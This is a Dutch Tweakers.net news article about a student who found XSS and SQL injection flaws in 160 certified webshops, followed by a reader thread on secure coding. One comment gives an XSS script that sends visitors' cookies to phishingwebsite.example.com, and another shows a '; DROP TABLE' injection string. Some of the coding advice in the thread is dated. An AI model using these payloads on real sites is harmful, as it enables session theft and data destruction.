Student ontdekt beveiligingsproblemen bij 160 webwinkels

Een 17-jarige student heeft in twee dagen tijd beveiligingslekken gevonden op de websites van 160 webwinkels met een Thuiswinkel.org-certificaat. De organisatie achter het keurmerk zegt meer aandacht aan beveiliging te gaan besteden.

"Ik ben de ledenlijst van Thuiswinkel.org afgegaan op kwetsbare winkels", zegt communicatiestudent Daniël Heesen. In totaal heeft de onderzoeker 1200 winkels gecontroleerd. Heesen stelt in 160 van die websites lekken te hebben gevonden. "Ik heb elke website op één plek gecontroleerd", aldus de onderzoeker. Meestal ging het daarbij om het zoekveld, waarin hij strings invoerde die op beveiligingsproblemen kunnen duiden.

De gevonden kwetsbaarheden waren hoofdzakelijk cross site scripting-kwetsbaarheden, waarmee cookies kunnen worden achterhaald en malafide code kan worden uitgevoerd. Om deze kwetsbaarheden daadwerkelijk te exploiteren, moet een slachtoffer er nog wel toe worden verleid om op een speciaal geprepareerde link te klikken. Het gaat daarmee om een relatief onschuldige kwetsbaarheid, maar tussen de 143 websites die vatbaar waren voor xss zaten wel grote webwinkels, zoals BelCompany, V&D en BCC.

Ernstig waren de 17 sql injection-kwetsbaarheden die Heesen vond. Met sql-injectie, waarbij user-input als valide sql-queries wordt geïnterpreteerd, kan in theorie een hele database worden ontfutseld. Onder andere Baby-Dump.nl en Kabeltje.com bevatten dergelijke kwetsbaarheden, maar deze zijn inmiddels gedicht. "Sommige websites zijn nog steeds lek", zegt Heesen, maar een deel van de winkels heeft wel maatregelen genomen.

"Dit zijn waarschijnlijk niet eens de enige lekken in webwinkels, want ik heb bijvoorbeeld niet gecontroleerd op blinde sql-injecties", zegt Heesen. Bij blinde sql-injecties is een website wel kwetsbaar voor sql-injectie, maar worden de resultaten van een opdracht niet weergegeven. Een hacker kan dan via een omweg alsnog commando's uitvoeren.

De onderzoeker heeft zijn bevindingen gemeld aan de stichting Thuiswinkel.org, die een keurmerk voor webshops beheert. Heesen richtte zich bij zijn onderzoek op winkels met het Thuiswinkel.org-stempel. De organisatie heeft aangesloten webwinkels na overleg met Tweakers.net dinsdagmorgen op de hoogte gesteld. Wijnand Jongen, directeur van Thuiswinkel.org, zegt te hopen dat het onderzoek bijdraagt aan een betere beveiliging van webwinkels.

Heesen zegt dat hij naar aanleiding van een beveiligingsprobleem bij de webwinkel CheapTickets.nl benieuwd was welke webwinkels nog meer lek waren. Bij CheapTickets.nl wist een hacker gegevens van 715.000 klanten te stelen. Jongen zegt dat zijn organisatie al na het bekend worden van dat bewuste lek heeft besloten om meer aandacht aan de beveiliging van webwinkels te besteden. "We controleren onze leden nog niet op beveiliging, maar dat gaat veranderen", aldus Jongen. "Veiligheid van webwinkels is een groot goed."

De eisen waaraan webwinkels moeten voldoen om het Thuiswinkel.org-keurmerk te mogen dragen, worden aangevuld met eisen voor veiligheid. Thuiswinkels die zich niet aan de eisen houden, lopen het risico geschorst te worden of zelfs helemaal te worden geroyeerd. Hoe de websites worden gecontroleerd, is nog niet bekend. Jongen zegt dat de organisatie nog moet bekijken wat 'haalbaar' is.

Reacties (92)

[Grote Schurk]

"We controleren onze leden nog niet op beveiliging, maar dat gaat veranderen", aldus Jongen. "Veiligheid van webwinkels is een groot goed."

En dat zegt hij terwijl er op hun site als twee van de zes 'zekerheden' staat:

Veiligheid en privacy

(3^e punt) en

Veilig betalen

(5^e punt)
http://www.thuiswinkel.org/leden-thuiswinkel-waarborg

[Reactie gewijzigd door Grote Schurk op 28 juli 2024 21:37]

[Anoniem: 404775]

Webwinkels die Thuiswinkel Waarborg voeren hebben een strenge juridische en financiele check doorstaan. Zij bieden consumenten de 6 zekerheden van Thuiswinkel Waarborg zodat de consument veilig online kan kopen.

juridisch en financieel het is wel een beetje krom ja. dat is bijna het zelfde als zeggen "we verhogen de straffen!" om criminaliteit te verminderen op straat in plaats van meer politie inzetten.

het is wel een beetje krom allemaal. een stickertje op een deur plakken maakt die deur nog niet steviger. minste wat je dan kan doen is proberen de deur in te trappen om te kijken of die het stickertje wel waard is... maar ook dat lijkt niet te gebeuren. alleen staan ze wel juridisch sterk als iemand klaagt dat die deur niet zo stevig is

[kimborntobewild]

Strict gezien is er helemaal geen deur daar waar je middels XSS of sql-injecties gegevens kunt uitlezen waar je niet bij mag.

[Anoniem: 404775]

precies die deur was niet sterk genoeg daarvoor. het keurmerk gaf wel de garantie dat die stevig genoeg zou zijn zonder eerste proberen in te trappen. alleen kijken of de deurknop glimt en het verf er goed uitziet kan je niet met droge ogen oordelen dat de deur zelf stevig is. er zijn genoeg programma's die op grote scala hacks testen, daar hoef je geen professional voor te zijn om dat uit te voeren.. sql injecties waren dan wel het makkelijkste om op te sporen. dan is het toch fout om te zeggen dat de consument veilig online kan kopen. kopen misschien wel, maar liggen je gegevens na een tijd misschien ook op straat. dat had ik niet verwacht want ja... ze gaven toch *zekerheden* dat het veilig was?
natuurlijk kan je niet tegen onbekende dingen beschermen, maar dit leek me niet zo onbekend.
het feit blijft dat ze geen zekerheden moeten geven als ze niets controleren. en ook het argument wat gegeven zou kunnen worden van "maar we wisten niets van hacks af" of "maar daar testen wij niet op, wij testen alleen op of die winkel financieel en juridisch in orde is" gaat gewoon niet op. vooral omdat ze veiligheid en privacy als zekerheid opgeven

[Reactie gewijzigd door Anoniem: 404775 op 28 juli 2024 21:37]

[neothor]

Enige wat ik een beetje jammer vind is dat hij alleen gemeld heeft aan de stichting thuiswinkel.org. Was wel netjes geweest om dit daarnaast ook aan de webwinkels zelf te melden om ze de mogelijkheid te geven dit nu al aan te pakken.

[Qoffee]

Puur uit het oogpunt van de hoevelheid werk die het iemand oplevert om persoonlijk contact op te nemen met 160 verschillende beheerders, snap ik dat hij gekozen heeft om centraal naar de stichting thuiswinkel te gaan.

De stichting thuiswinkel zal als het goed is contactgegevens hebben voor al deze websites en vermodelijk ook wat meer mankracht. Daar komt nog bij dat de beheerders een mailtje/telefoontje van de stichting thuiswinkel een stuk serieuzer nemen dan een mailtje van een of andere student. Stiching thuiswinkel heeft namelijk een grote stok achter de deur dat ze het keurmerk voor de betreffende site kunnen intrekken indien er geen adequatte actie ondernomen word. Een veel beter stok achter de deur dan "anders maak ik het prubliekelijk bekend" wat de enige optie van de student is om druk te zetten.

[neothor]

Ik zeg ook niet dat hij het niet aan thuiswinkel.org had moeten melden meer dat een berichtje naar de webwinkel op zijn plaats is.

Tuurlijk kost dit wat tijd maar het controleren van 1200 winkels op beveiligings lekken gaat ook tijd in zitten.

[mat.hi.as]

Dat is wat makkelijker te scripten dan bij 160 winkels uitzoeken wat voor adres ze gebruiken

[kimborntobewild]

Ik zeg ook niet dat hij het niet aan thuiswinkel.org had moeten melden meer dat een berichtje naar de webwinkel op zijn plaats is.

160 Winkels contacteren en de antwoorden/uitgaande berichten per winkel apart te houden is 20x meer werk.
Ook zou dat dus meer tijd kosten, terwijl je juist wilt dat er snel wordt opgetreden.

[Reactie gewijzigd door kimborntobewild op 28 juli 2024 21:37]

[editedredx]

Thuiswinkel.org heeft dit weer doorgemeld aan de betreffende webshops.

[Marc P]

V&D en BCC zijn zo te zien beide Magento implementaties. Zou me ook niet verbazen dat ze bij dezelfde leverancier hebben ingekocht. Dit soort grote bedrijven, koopt in de regel bij andere grote bedrijven. De kans is dus vrij groot dat een grote speler in deze markt zijn security beleid zeer slecht voor elkaar heeft. En als die het al niet voor elkaar krijgen een site redelijk dicht te timmeren wat betekent dat dan voor de veiligheid van Magento implementaties van kleinere organisaties.
Ben bang dat dit het puntje van de ijsberg is en dat er heel veel meer dan 160 websites gevoelig zijn voor deze exploit.

[_Erikje_]

V&D is geen magento implementatie. BCC gebruikt intershop

Het gaat hier om slordigheden/'grove fouten' omtrent invoercontrole. Ook een goed ingerichte magento shop kan met XSS input omgaan.

V&D heeft het lek binnen 12 uur na melding opgelost, wat ik zelf heel erg netjes vindt.

[Reactie gewijzigd door _Erikje_ op 28 juli 2024 21:37]

[Marc P]

Ok, thanks voor de extra info. 12 uur om een lek te dichten is idd keurig.

Maar toch het gaat me niet zozeer om het gebruikte product. Maar om het feit dat zulke grote bedrijven blijkbaar ingekocht hebben bij waarschijnlijk andere grote bedrijven en er dan zulke fouten in de implementatie zitten.

[BryanD]

Pro-tip: controleer of de database query's geprepareerd worden met een mysql_real_escape_string, dat is al één stap. Vervolgens is het ook nooit weg om te kijken of wachtwoorden worden gemd-5t, of geencrypt. En dan hebben we nog fout afhandeling, ook een belangerijke.

Dat is alles wat ik zo op de vroege ochtend even bedenken kan.
Vul gerust aan.

[xoniq]

Vergeet hier ook niet om numerieke waarden binnen de database netjes af te dwingen tot een echte integer waarde met (int) voor de variable de database in gaat.
Dan zal dit altijd of een normale integer zijn, of een 0 (nul) worden waardoor het weinig kan doen.

Voor strings: mysql_real_escape_string() om ingevoerde waarden af te dwingen tot een acceptabele string.
Voor integer (cijfers): (int) $variablenaam om de variable af te dwingen tot een integer.

Simpel voorbeeld van wat er minimaal in je query zou moeten zitten:

$sql = "INSERT INTO `tabelnaam` SET `veldnaam` = '" . mysql_real_escape_string( $testString ) . "',`nogeenveld` = " . (int)$testInteger;

Dit is toch wel het minimale wat je kan doen.
En zoals bovenstaande zei, het waarborgen van de privacy van klanten door nooit een wachtwoord in plain tekst op te slaan, dan maken ze bij een wachtwoord vergeten maar een nieuw wachtwoord.

Vind het kwalijk als ik bij sites als ik een wachtwoord vergeten ben, dan ze dan vervolgens mij het daadwerkelijke wachtwoord toe kunnen sturen via de mail, hoort niet te kunnen!

En zoals de opmerking over error_reporting al zei, zorg voor een goede 'exception'-handler, die de errors voor jouw afvangt, dit logged, en niet meer op het scherm meld dan dat er een probleem is opgetreden en dat je hiervan op de hoogte bent gebracht. Geen dikke fouten op het scherm tonen, maar netjes door sluiten naar een error log buiten de document root.

Denk dat dit een aantal dingen zijn waar beginners zeer veel rekening mee moeten houden, helemaal bij webshops of bij grote communities waar veel persoonsgegevens worden vergaard. (Eigelijk gewoon bij ALLE websites!)

[Reactie gewijzigd door xoniq op 28 juli 2024 21:37]

[user109731]

Simpel voorbeeld van wat er minimaal in je query zou moeten zitten:

$sql = "INSERT INTO `tabelnaam` SET `veldnaam` = '" . mysql_real_escape_string( $testString ) . "',`nogeenveld` = " . (int)$testInteger;

Dit is toch wel het minimale wat je kan doen.

Toch is dit handmatig stukjes query aan elkaar plakken waar het probleem zit, en casten of mysql_real_escape_string gebruiken pakt het probleem niet bij de bron aan. Op een bepaald moment vergeet je een (int) cast of een mysql_real_escape_string call en staat je database open. Prepared statements gebruiken is veel eenvoudiger en veiliger, en maakt je code ook nog eens veel overzichtelijker: In plaats van 10 strings met daartussen variabelen heb je gewoon 1 query en daarna vul je netjes alle waarden in

[Reactie gewijzigd door user109731 op 28 juli 2024 21:37]

[Anoniem: 296873]

Dit is precies wat ik dacht! mysql_real_escape_string is een verouderde workaround om sql-injectie te voorkomen. Dat je als beginnende programmeur dat gebruikt, ok, maar elke programmeur die er langer dan een jaar mee bezig is hoort prepared statements te gebruiken imo.

Prepared stetements zijn ook nog eens heel veel sneller als je achter elkaar een groot aantal keer dezelfde query met andere parameters moet uitvoeren, omdat de query zelf onthouden wordt door de database, en alleen de parameters opnieuw ingevoerd hoeven te worden.

[fdh]

En eigenlijk is het nog beter om geen enkel sql statement uit te voeren vanuit de webcode, maar om te werken met een afzonderlijke applicatie laag (al dan niet in de db onder de vorm van stored procedures). Vanuit de website wordt dan enkel de procedures opgeroepen (bv getArticleDetails).

Op die manier kan je je presentatie mooi afgezonderd houden van je applicatie logica, waardoor het eenvoudiger is om meerdere "toegangen" te voorzien (bv een gewone site en een voor de tablet geoptimaliseerde site).


ps) en de stored procedures gebruiken dan natuurlijk wel prepared statements

[Anoniem: 130503]

Jij bent blijkbaar geen groot fan van Domain Driven Design. Wat jij voorstelt is slechts het verschuiven van het probleem richting de database.

Problemen ontstaan hoofdzakelijk wanneer men niet volgens een fatsoenlijk n-tier model werkt. Als je volgens de principes van Domain Driven Design werkt, staan al je queries in een van de DatabaseRepositories, en nergens anders. Slechts één plek waar je hoeft te controleren of je de DataStore niet compromitteerd als gevolg van injectie-gevoelige queries. Hogere lagen spreken de Repositories aan voor het ophalen van de gegevens in de vorm van een Domein Model, en die hogere lagen zijn zich dus niet bewust waar de gegevens vandaan komen; DatabaseRepository, SoapRepository, IniRepository.

De DataStore layer zit als diepste laag in je code onder het Domein Model en de Application Service layer (security en transactie management), en nog weer onder de MVC container voor de presentatie. Mijn nekharen springen geregeld nog overeind als ik weer eens spaghetti-code zie waar HTML en database call's door elkaar staan. Dat is gewoon een recept voor problemen, ook als je vanuit je HTML (presentatie) vooraf gemaakte stored procedures aanroept.

[kimborntobewild]

Is het vreemd dat het zo vaak mis gaat, als je ziet welke technische termen er allemaal voorbij schieten die voor de leek lang niet allemaal bekend zijn... En dat zelfs 'tweakers' van mening verschillen wat nu do's en don't's zijn.
Er lijkt dan ook een cultuur te zijn van dat het geaccepteerd wordt als je hier fouten bij maakt. Immers, je leest nooit iets over programmeurs of webmasters die ontslagen zijn omdat ze de beveiliging niet op orde hadden.

[fdh]

zet 2 consultants bij elkaar en je hebt 3 verschillende meningen ;-)

Over je opmerkingen van de cultuur.
Hoe ga je opmerken wie er moet ontslagen worden, de programmeur, de designer, de klant die maar x bedrag wil spenderen, de tester die het niet heeft ontdekt, ...?

Je hebt gelijk als je zegt dat security, net als performance en instrumentation trouwens, nog vaak ondergeschoven kindjes zijn. En dat dit moet veranderen.
Maar dat is iets wat moet doordringen in de hele "ketting" en niet enkel een zaak is van de programmeur.

[fdh]

Ik heb er dan ook bijgezet dat de stored procedures dan ook wel prepared statements moeten zijn en geen stukken sql aan elkaar moeten plakken met parameters ertussen.

Bij Oracle gebruik je binnen stored procedures dan ook automatisch bind variablen, waardoor er geen sql injection mogelijk is (tenzij je dynamic sql gebruikt, waarbij je expliciet moet gaan coderen met prepared statements).

Ik ben niet vertrouwd met domain driven design, maar wat ik van jouw post ervan begrijp het introduceren van een tussenlaag met als doel de informatie uit verschillende bronnen te gaan combineren in 1 "virtuele" bron.

Op zich niets mis mee, maar als ik dan lees dat je security en transactie management niet op de db zitten, dan komt mijn nekhaar dan weer recht.
Een van de hoofdzaken die een database voor dient is juist transactie management.
En security hoort bij de data, niemand zegt immers dat er nergens een rechtstreekse toegang mogelijk is tot de database (al dan niet by design).
Natuurlijk zullen er security zaken zijn die ook in hogere lagen zitten.

Los van dit alles vraag ik mij ook af van hoeveel (winkel) sites de html code eigenlijk niet on the fly wordt gegenereerd op basis van database calls ipv pagina's waarin stukken worden opgevuld door db calls.

[XyritZz]

Pas daarnaast ook altijd op met de multi_query functies in PHP, eigenlijk wil je die zo min mogelijk gebruiken. Als je gebruik maakt van multi_query en er sluipt toch ergens een SQL injection in dan is het mogelijk om iets als:

'; DROP TABLE x;

uit te voeren, terwijl de gewone query functies dit onmogelijk maken.

[Paul - K]

Op mijn site heb ik een aparte user voor mijn back en frontend, de frontend heeft geen rechten om tabelstructuren aan te passen waardoor dat soort dingen ook niet voor kunnen komen.

[PolarBear]

Dit is toch wel het minimale wat je kan doen.

Het minimale wat je kan doen is geen SQL concatten maar gewoon geparameteriseerde queries gebruiken. Hoef je ook geen rare escape dingen te doen.

[Moartn]

Schattig, mensen die alleen in PHP kunnen denken Alsof dat de enige taal is die gebruikt wordt.

Los van de taal, queries bouwen door strings te concateneren is gewoon smerig, want je gaat gegarandeerd een keer zo'n escape-ding vergeten. Zorg voor een goed framework waarin je gedwongen wordt met prepared statements (of iets vergelijkbaars) te werken, of gebruik een O/R mapper, zodat je helemaal geen SQL meer hoeft te schrijven.

[Michali]

Als je een SQL query dynamisch opbouwt dan ontkom je niet aan concateneren van strings. Pas als je op die manier (user) input in gaat stoppen, dan begint het smerig te worden.

Beter is inderdaad om ook het dynamisch opbouwen van een query niet handmatig te doen, maar hiervoor een handige library te gebruiken.

[Houseoflegend]

Interessant, om op die manier anderen te kleineren?

OT: Query builders en prepared statements zijn inderdaad de 'toekomst' (voor zover dat niet al lang zo hoort te zijn...).
Maar SQL strings concatten is prima, zolang je maar niet user input toestaat. Er zijn wat fijne nuances die hier gelegd moeten worden.

Aan de andere kant zijn ORMs vaak heel traag, enkele uitzonderingen daargelaten, en moet je twee keer over nadenken voordat je die zomaar toevoegt aan je webapp.

[Reactie gewijzigd door Houseoflegend op 28 juli 2024 21:37]

[Avalaxy]

Niet elke webshop gebruikt PHP... Los daarvan gaan de mysql_() commando's van PHP er uit, niet meer gebruiken dus. Een betere oplossing is het gebruik van prepared statements. Met een fatsoenlijk ORM (waar de meeste zichzelf respecterende applicaties tegenwoordig gebruik van maken) heb je die automatisch al, dus dat zou een non-issue moeten zijn.

Dan heb je XSS, wat je gewoon op kunt lossen door je output te filteren. In PHP kun je dat voorkomen door de output door htmlspecialchars() te halen, bij bijvoorbeeld ASP.NET met Razor gebeurt het automatisch al en hoef je niks te doen.

CSRF is een aanval waar minder aandacht aan besteed wordt maar die wel heel schadelijk is; valt simpelweg te controleren door een uniek token met je forms mee te sturen en deze te controleren.

En tot slot natuurlijk alleen hashes opslaan van je wachtwoorden (geen MD5 zoals jij aanhaalt). Iets sterks vind ik persoonlijk aan te raden, meestal is dat SHA384 met een hash. En natuurlijk foute inlogpogingen blocken na 3x foutief proberen, etc.

Vergeet niet dat mensen ook een bepaalde actie aan kunnen roepen door gewoon de URL in te voeren. Zorg dus dat elke actie die een niet-geauthoriseerde gebruiker niet uit mag voeren beveiligd is.

[xoniq]

De meest basis actie om de output uberhaubt te filteren, is het gebruiken van strip_tags(). Om uberhaubt eventuele <script> tags weg te filteren waardoor het uberhaubt al geen javascript meer is, en het wordt gezien als een simpele plain HTML.

[Anoniem: 368945]

strip_tags is niet voldoende !!!!!!
er zijn zat trucs om dit te omzijlen

gebruik htmlentities(http://nl3.php.net/manual/en/function.htmlentities.php)
deze maakt (van alle caracters die niet text zijn in html) geescapte waardes van


probeer anders maar deze :
> <script type="text/javascript"
> language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>


(disc: alleen gebruiken voot penetratietests met toestemming van de ijgenaar van de website, code is voor educatieve doelen, ander gebruik van deze code is niet toegestaan)

[Anoniem: 253021]

Ze gaan er niet echt 'uit', maar het is inderdaad aangeraden om ze inderdaad niet meer te gebruiken en gewoon prepared statements te gebruiken, scheeld al een hoop gezeik.

[console]

Error reporting is ook een groot issue, vooral PDO gooit fijn je database username/password combi op het scherm indien je het allemaal niet goed afvangt. En dan is het alleen nog maar een kwestie van PHPMyAdmin op te zoeken en je kunt zo fijn snuffelen in andermans database.

[Anoniem: 398117]

Hmm Volgens mij kan je ook nog best eventuele string waardes die de gebruiker invoert en vervolgens weer terugkrijgt (denk aan bijvoorbeeld een zoekveld in filter) voor de zekerheid encoden.

[Darkrulerz]

Misschien nog grapjassen die exploits zoeken en cross-site scripts tegengaan met een goede .htaccess file? http://corz.org/serv/tric...e=all#more-better-banning
Het dekt niet alles maar is zeker een leuke toevoeging

[Magnetic_Man]

yep. En voor de XSS hebben we strip_tags en htmlentities

[RobbieB]

Wat ik me dan altijd afvraag.

Die sites worden dus gemaakt door mensen die zelf zeggen 'kennis van zaken' te hebben. Kortom, je hebt er of voor geleerd/gestudeerd of je hebt van je hobby je beroep gemaakt.

Wat voor prutser ben je dan als je zoiets op het web durft te zetten? Ik zou me de ogen uit m'n kop schamen...
Ik weet niet hoe het in die branche werkt, maar als een verkoper tijdens zijn pauze de winkel verlaat en de winkel wordt leeggeroofd kan hij fluiten naar zijn baan.
Iets zegt mij dus dat er de komende weken flink wat webdevelopers op straat komen te staan.

Nogmaals, ik ben totaal niet bekend in die branche, maar er moeten toch ergens koppen gaan rollen na al deze lekken??? (En dan niet alleen in de top...)

offtopic:
Ik vraag me ook af of er sommige van die webdevelopers hier op Tweakers komen. Met zo'n grote community moet dat wel haast het geval zijn. Mocht je dit dan lezen: Prutser, ga je schamen!

[Freee!!]

Ik vraag me ook af of er sommige van die webdevelopers hier op Tweakers komen. Met zo'n grote community moet dat wel haast het geval zijn. Mocht je dit dan lezen: Prutser, ga je schamen!

Wat dacht je van de mogelijkheid dat die developers wel willen, maar dat hun manager het niet snapt en daardoor overbodig en te duur vindt

[Avalaxy]

Maar het schrijven van een prepared statement is toch even snel als het schrijven van een query als een simpele string waar je waardes in concat?

[Arnoud Engelfriet]

Menig handboek over PHP laat alleen voorbeelden zien met het concateneren van queries. Pas in hoofdstuk 18 komt misschien nog eens prepared statements aan bod. Tegen die tijd heb je al zó veel gewerkt met gewoon concateneren dat je daar het nut niet meer van inziet.

Onze nieuwe bedrijfswebsite is gemaakt met Wordpress. Dat is zo'n breed gebruikt pakket, daar mag je toch wel enige veiligheid van verwachten. Maar toch had die een zeer basale XSS injectie in het zoekvenstertje: de zoekterm werd in de resultaatpagina alvast weer ingevuld in de zoekgleuf maar zonder escape er overheen.

[Avalaxy]

Mee eens, het is vrij bizar dat een webshop die vele tienduizenden euro's heeft gekost niet eens BASISsecurity heeft die ik al standaard inbouw in elke website die ik bouw voor klanten (doorgaans rond ~€1000 per website). Ik snap niet wat dat soort mensen in onze branche doen, als je jezelf webdeveloper wilt noemen is dit wel een van de minimale dingen waar je kennis van moet hebben.

Met een beetje moderne technieken hoef je voor de meeste punten zelfs amper iets te doen, zoals ik in mijn vorige post aanhaal

[Reactie gewijzigd door Avalaxy op 28 juli 2024 21:37]

[ironx]

Het zal me ook niet verbazen dat er veel eigenaars van webwinkels zijn die gewoon een standaard pakketje met een paar webwinkel-plugins (voor iDeal afhandelingen etc) ergens downloaden, online gooien, en verder niet meer omkijken naar updates e.d.

Hoe moet je anders zo snel aan de 160 lekke sites komen?

[Reactie gewijzigd door ironx op 28 juli 2024 21:37]

[Zoijar]

Groei van software en maintenance... Als je op een gegeven moment enkele tienduizenden regels legacy ASP hebt, dan is het niet zo makkelijk om eventjes na te lopen. Verder, wijzigingen van code door verschillende programmeurs door de jaren heen. Degene die het heeft opgezet deed alles misschien veilig, zolang je "safe_query" aanriep. De programmeur die er twee jaar later werkt past het aan met een directe query en vergeet security of gaat er vanuit dat het framework dat automatisch doet.

[Reactie gewijzigd door Zoijar op 28 juli 2024 21:37]

[RobbieB]

of gaat er vanuit...

Of zoals mijn stagebegeleider altijd zei: "Assuming would be God's first sin, if he existed"

[rayhvh]

goede zet van die jongen.!

[Hylix]

Inderdaad waren er maar meer van dit soort "hackers" laatste tijd lees je veel te veel over databases die worden uitgelekt etc. etc.

Zo kan het dus ook

[Zoefff]

Goed bezig. Dit onderzoek sluit bijna naadloos aan bij het artikel wat ik onlangs over het Thuiswinkel waarborg heb geschreven. Ik ben zelf alleen de eerste paar winkels van de ledenlijst langsgegaan met een kleine check hoe het met https zit, maar dat SQL exploits ook zo eenvoudig te vinden zijn bevestigt nog maar eens dat het Thuiswinkel waarborg op het gebied van veiligheid en privacy op dit moment op z'n minst twijfelachtig is.

Van Thuiswinkel heb ik begrepen dat ze zelf ook druk bezig zijn met het aanscherpen van procedures rondom dit probleem, en dat er ook betere controles en checklists komen voordat een webwinkel het waarborg krijgt. Hoewel ik van mening blijf dat het onmogelijk blijft om als externe partij een 'veilig' stempel op een webwinkel te hangen zonder dat hier (zeer kostbare) audits voor worden gedaan.

Zie ook het betreffende artikel op het forum of op marketingfacts.nl

[Eagle Creek]

Is het waarborg op dit moment niet sterker gericht op de organisatie, dan de technische implementatie? Denk hierbij aan: algemene voorwaarden, vooruitbetaling, garantie, bedenktermijn, etc. Technisch zie ik hier alleen in terugkomen SSL-certificaat en melden bij CBP.

Ik vind het fijn om te weten dat een site met zo'n waarborg gedraaid wordt door een bedrijf dat hoogstwaarschijnlijk niet morgen failliet is en goede algemene voorwaarden heeft, maar het zegt mij niets over de kwaliteit van hun site.

Op de site van 't waarborg staat:

Alle leden van Thuiswinkel.org worden jaarlijks gecertificeerd op naleving van de algemene voorwaarden zoals deze zijn vastgesteld door de Consumentenbond.

De consumentenbond staat nu niet bekend als een organisatie met diepgaande technische kennis (no offense).

Begrijp me niet verkeerd: het is goed dat er zo'n keurmerk is, en het is goed dat lekken aan de kaak worden gesteld, maar ligt onze verwachting van 't waarborg niet te hoog?

[Milt]

Ondanks dat Thuiswinkel.org in Nederland het meest hoog aangeschreven keurmerk is vind ik het persoonlijk het meest waardeloze. Het is vooral een papieren organisatie die hun leden certificeert op basis van de algemene voorwaarden en zo nu en dan wat steekproeven doet. En daar moet die webshop dan ook nog een X percentage van zijn omzet voor afstaan wat bij een beetje goed lopende webshop al gauw op belachelijk bedragen uitkomt.

Ik heb één keer geprobeerd om via de Thuiswinkel.org website een klacht in te dienen omdat ik vond dat een bij hun aangesloten webshop zich niet aan de regels hielt. Tot mijn grote verbazing werd de klacht niet naar Thuiswinkel.org gestuurd maar per e-mail (met een CC naar mij) naar de webshop zelf gestuurd. Tja, dan ben je volgens mij als organisatie niks waard. Het is gewoon een belangenorganisatie van webshops. Thuiswinkel is er voor de webshops, niet voor de klanten. En veel van de aangesloten webshops betalen alleen maar voor het logo, niet voor de dienstverlening.

[Anoniem: 273970]

Correct. ICTWaarborg is ook zo'n clubje. Hoewel ik het idee heb dat ze wel aan de weg aan het timmeren zijn.
Persoonlijk vind ik het belachelijk dat zulke organisaties nodig zijn om te voorkomen dat een bedrijf z'n eigen klanten een poot uitdraait. "We" zijn diep gezonken...

[Anoniem: 404775]

De kamer van koophandel is er niets beter bij. veiligheid en privacy als "zekerheid" en niets checken of proberen. dat voelt alsof je Nike schoenen koopt want dan hoor je erbij...
schijnveiligheid is heeeeel vervelend. maar ze controleerde streng op "financieel en juridisch" gebied, dus niet op het ict gedeelte, ja misschien wel maar de deurknop zag er glimmend uit. een slotje weergeven in je browser is natuurlijk al genoeg om er van uit te gaan dat het veilig is. misschien was het aankopen van spullen wel veilig.... en de rest?

dan krijg ik het gevoel van "ik weet niets van ict en ik ga maar iemand inhuren", vervolgens komt er iemand, zuipt een half uurtje koffie en plakt een stickertje op je server van "in orde". een week later lees ik terug "Madnar.zomg-org is gehackt, alle persoons gegevens zijn buitgemaakt" maar dat beveiligingsbedrijf had toch een certificaat?

wie controleert de controleur? en wie certificeert de certificatie verstrekkers?.. zo verlies je de betekenis van certificaten en keurmerken. er zit nog een verschil tussen niets controleren, controleren wat geleerd is en wel gecontroleerd maar we kunnen niet beschermen tegen wat onbekend is.

[mbb]

Tijd dat TweakersNet met een eigen online veiligheids certifikaat komt. ;-D

[Eagle Creek]

Hoe bedoel je dit? Voor webshops, of voor internetsites? Voor het eerste vraag ik me af of Tweakers de juiste partij is. Voor het laatste zijn er al zulke bedrijven, bijvoorbeeld McAfee e.a. En moet Tweakers dan kijken naar techniek alleen, of ook naar voorwaarden? En..

Graag iets meer toelichting op je suggestie dus a.u.b.

[MetalfanBlackness]

Ik hoop het, het beste lijkt mij om eerst contact op te nemen met de website, zodat ze dit zo snel mogelijk kunnen fixen alvorens de publiciteit te zoeken. Ik hoop dat hij dit gedaan heeft en de problemen al grotendeels gefixed zijn.

[hamsteg]

maar deze zijn inmiddels gedicht

dit suggereert dat er inderdaad een periode van feedback is geweest.

[decide1000]

Ik werk als developer bij één van die webshops.

Op 1 november is er contact met ons opgenomen door Thuiswinkel. Dezelfde dag hadden wij het probleem verholpen.

[gp500]

En gecontroleerd op nog meer lekken ?
Dat vraag ik me meer af.

[thefal]

Onder andere Baby-Dump.nl en Kabeltje.com bevatten dergelijke kwetsbaarheden, maar deze zijn inmiddels gedicht. "Sommige websites zijn nog steeds lek", zegt Heesen, maar een deel van de winkels heeft wel maatregelen genomen.

De onderzoeker heeft zijn bevindingen gemeld aan de stichting Thuiswinkel.org, die een keurmerk voor webshops beheert.

De organisatie heeft aangesloten webwinkels na overleg met Tweakers.net dinsdagmorgen op de hoogte gesteld.

Hij heeft dus eerst contact opgezocht en sommige sites hebben het lek zelfs al gedicht. Staat gewoon in het artikel

[Boss]

Wat zegt dit nu over het Thuiswinkel.org-certificaat? Dat iedere winkel die maar met centjes over de brug komt zich kan aansluiten en het certificaat kan krijgen? Pas na klachten gaan ze onderzoeken of ze mogelijk controles kunnen uitvoeren bij de aangesloten organisaties. Is dat niet juist één van de taken van een certificerende instantie?

[Arnoud Engelfriet]

Het Thuiswinkel.org-certificaat krijg je alleen na een audit (die mijn bedrijf overigens uitvoert). Die audit gaat over de juridische en praktische kant: worden er wel echt 14 dagen retourrecht gegeven, staan nergens wettelijk onjuiste statements (zoals "bij retour krijgt u een tegoedbon" of "u mag het product niet uitpakken") en worden de juiste algemene voorwaarden gehanteerd.

Het certificaat gaat niet inhoudelijk in op de veiligheid, afgezien van de eis dat het versturen van persoonsgegevens alleen over SSL-verbindingen mag gebeuren.

[Boss]

Tijd dus om de eisen waar je aan moet voldoen voor het certificaat uit te breiden!

[Anoniem: 404775]

juist, die audit houd in "juridisch en financieel" (dus niet of het werkelijk veilig is). daarna claimt het als zekerheid "veiligheid en privacy".
dat is vind ik een klein beetje misleidend, je mag toch wel verwachten dat je gegevens na een "veilige" aankoop niet op straat liggen? de aankoop mag dan wel veilig zijn gegaan...... en de rest?

[tweaker2010]

Daar lijkt het inderdaad wel op. Thuiswinkel.org kijkt namelijk alleen of een webwinkel gebruik maakt van een een veilige verbinding (SSL). Of de website zelf kwetsbaar is voor SQL-injecties of andere hacks checken ze niet. Dus dit certificaat biedt een schijnveiligheid voor de consument.

[Anoniem: 404775]

+1 helemaal goed. ze geven wel veiligheid en privacy op als *zekerheid*, maar geen balle verstand hebben van beide op ict gebied. het "ziet" er veilig uit. vooral als er een mooi slotje staat in browsers. dat is al genoeg om het veilig te verklaren.

